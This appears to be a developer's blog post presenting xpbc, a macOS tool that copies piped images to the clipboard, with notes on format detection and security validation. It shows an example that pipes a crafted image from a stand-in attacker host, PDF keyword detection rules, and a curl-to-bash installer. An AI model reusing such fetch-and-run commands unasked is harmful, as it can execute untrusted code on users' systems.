Fetching latest headlines…
macOS pbcopy Can't Handle Images — So I Built a Fix
NORTH AMERICA
🇺🇸 United StatesMarch 22, 2026

macOS pbcopy Can't Handle Images — So I Built a Fix

1 views0 likes0 comments
Originally published byDev.to

If you've ever tried piping an image into pbcopy, you know the pain: it silently mangles the data, and Cmd+V pastes garbage. That's because pbcopy is text-only by design — it has no concept of image data on the clipboard.

I wanted a drop-in replacement that Just Works with images, so I built xpbc (eXtended PasteBoard Copy).

GitHub logo chigichan24 / xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

xpbc

Test

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

pbcopy only handles text. xpbc automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like pbcopy.

Quick Start

# Copy an image to the clipboard
cat screenshot.png | xpbc

# Copy text (same as pbcopy)
echo "hello" | xpbc

# Paste with Cmd+V in any app

Installation

Installer script

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash

To install to a custom directory:

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash -s -- /your/custom/path

The default install directory is ~/.local/bin.

From source

Requires Swift 6.0+ and macOS 13+.

git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local

Usage

xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]

Pipe any data into xpbc via stdin. It automatically detects the format and copies accordingly.

Examples

# Images — detected

cat screenshot.png | xpbc   # image lands on clipboard, ready to paste
echo "hello"       | xpbc   # works exactly like pbcopy for text

Installation

# One-liner install
curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash

# Or build from source
git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local

Usage

# Copy images (format is auto-detected)
cat photo.jpg   | xpbc
cat diagram.pdf | xpbc
cat icon.webp   | xpbc

# Copy text (same as pbcopy)
echo "some text" | xpbc
git diff         | xpbc

# Pipe from other commands
ffmpeg -i video.mp4 -vframes 1 -f image2pipe - | xpbc
curl -s https://example.com/image.png          | xpbc

How It Works: Magic Bytes Detection

xpbc inspects the first few bytes of stdin to determine the data format — no file extensions, no flags, no guesswork.

Each format has a unique byte signature (magic bytes). For example, every valid PNG starts with exactly these 8 bytes: 89 50 4E 47 0D 0A 1A 0A. JPEG starts with FF D8 FF. xpbc checks these signatures to decide how to write to the clipboard.

The core abstraction is a FormatDetector protocol:

protocol FormatDetector: Sendable {
    var detectedType: DataType { get }
    func canDetect(from data: Data) -> Bool
}

Here's the PNG detector — clean and simple:

struct PNGDetector: FormatDetector {
    let detectedType = DataType.png

    private static let magic: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]

    func canDetect(from data: Data) -> Bool {
        guard data.count >= Self.magic.count else { return false }
        return data.prefix(Self.magic.count).elementsEqual(Self.magic)
    }
}

Detector Ordering Matters

The detectors are checked in order of signature specificity — longest signatures first:

static let detectors: [FormatDetector] = [
    PNGDetector(),      // 8 bytes
    GIFDetector(),      // 6 bytes
    WebPDetector(),     // 4+4 bytes at offsets 0,8
    FtypDetector(),    // HEIC: 4+4 bytes at offsets 4,8
    FtypDetector(),    // AVIF: 4+4 bytes at offsets 4,8
    TIFFDetector(),     // 4 bytes
    PDFDetector(),      // 4 bytes
    JPEGDetector(),     // 3 bytes
    BMPDetector(),      // 2 bytes  ← checked last
]

Why does this order matter? BMP's signature is just BM — two bytes. If checked first, any text file that happens to start with "BM" would be misidentified as a bitmap image. By checking the 8-byte PNG signature first, the chance of a false positive is astronomically low. The shorter the signature, the later it's checked.

Supported Formats

Format Signature UTI
PNG 8-byte header public.png
JPEG 3-byte header (FF D8 FF) public.jpeg
GIF 6-byte header (GIF87a/GIF89a) com.compuserve.gif
TIFF 4-byte header (LE/BE) public.tiff
BMP 2-byte header (BM) com.microsoft.bmp
WebP RIFF + WEBP markers public.webp
HEIC ftyp + heic brand public.heic
AVIF ftyp + avif brand public.avif
PDF %PDF header public.pdf

If no image signature matches, xpbc falls back to text mode — same behavior as pbcopy.

Why No Image Decoding?

The most well-known tool in this space is impbcopy, which loads the image via NSImage and writes it to the clipboard through writeObjects:. Because NSImage conforms to NSPasteboardWriting, the image is internally converted to a TIFF representation before being placed on the clipboard.

xpbc takes a fundamentally different approach: it writes raw bytes directly to NSPasteboard with a single UTI — no decoding, no TIFF conversion.

This works because modern macOS (13+) and Electron-based apps (Slack, Notion, VS Code, etc.) can read public.png and public.jpeg directly from the clipboard. The historical need for TIFF as a clipboard lingua franca has faded.

The real benefit of zero decoding is a minimal attack surface. Image decoders are complex and historically prone to vulnerabilities. By never calling NSImage, CGImageSource, or ImageIO, xpbc avoids this entire class of risk. More on this below.

Security: Structural Validation

Here's a scenario to consider:

curl -s https://evil.example/exploit.png | xpbc

xpbc itself doesn't decode the image — so xpbc is safe. But the moment a user pastes with Cmd+V, the receiving application's image decoder (typically ImageIO) processes the data. Vulnerabilities like CVE-2023-41064 — a buffer overflow in ImageIO that enabled arbitrary code execution via a crafted image — show this is a real threat.

To mitigate this, xpbc includes a structural validation layer that runs after format detection and before clipboard write:

protocol FormatValidator: Sendable {
    func validate(_ data: Data) -> ValidationResult
}

What Gets Validated

Format Validation
PNG IHDR chunk exists, width/height > 0
JPEG Valid marker after SOI (0xC0–0xFE)
GIF Logical Screen Descriptor width/height > 0
TIFF IFD offset within valid range
BMP DIB header size is a known valid value
WebP VP8/VP8L/VP8X chunk header present
HEIC/AVIF ftyp box size conforms to ISO 14496-12 (>= 12)
PDF Boundary matching for /JS, /JavaScript, /OpenAction, /AA, /Launch

You can skip validation with --no-validate for trusted sources.

What It Intentionally Does NOT Do

This validation is a mitigation, not a guarantee. xpbc only inspects headers — it never touches the compressed payload. Here's what passes through:

  • Structurally valid but malicious payloads — A PNG with a correct header but exploit code buried in the compressed data stream. Catching this would require a full decoder — the very thing xpbc avoids.
  • Zip bombs — Valid headers that decompress to enormous sizes. xpbc's 100 MB cap is on raw input, not decompressed output.
  • Obfuscated PDF keywords — Hex-encoded dangerous keywords (/#4A#53 = /JS) or stream-compressed payloads. A full PDF parser could catch these, but it would itself become a new attack surface.

xpbc is best described as a "slightly smart byte forwarder." It keeps its own attack surface minimal by refusing to decode anything, while filtering out obviously malformed data before it reaches the clipboard.

Wrapping Up

xpbc is a small, focused tool: pipe image data in, get it on the clipboard, paste it anywhere. It supports 9 image formats, validates structural integrity, and avoids the security pitfalls of image decoding.

Give it a try and let me know what you think:

GitHub logo chigichan24 / xpbc

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

xpbc

Test

eXtended PasteBoard Copy — a drop-in enhancement for macOS pbcopy that supports images.

pbcopy only handles text. xpbc automatically detects whether stdin contains image data and copies it to the clipboard as an image. For plain text, it behaves exactly like pbcopy.

Quick Start

# Copy an image to the clipboard
cat screenshot.png | xpbc

# Copy text (same as pbcopy)
echo "hello" | xpbc

# Paste with Cmd+V in any app

Installation

Installer script

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash

To install to a custom directory:

curl -fsSL https://raw.githubusercontent.com/chigichan24/xpbc/main/Scripts/install.sh | bash -s -- /your/custom/path

The default install directory is ~/.local/bin.

From source

Requires Swift 6.0+ and macOS 13+.

git clone https://github.com/chigichan24/xpbc.git
cd xpbc
make install PREFIX=~/.local

Usage

xpbc [-pboard {general|ruler|find|font}] [--no-validate] [--help] [--version]

Pipe any data into xpbc via stdin. It automatically detects the format and copies accordingly.

Examples

# Images — detected

Issues and PRs are welcome! If this sounds interesting, give it a ⭐ on GitHub.

Comments (0)

Sign in to join the discussion

Be the first to comment!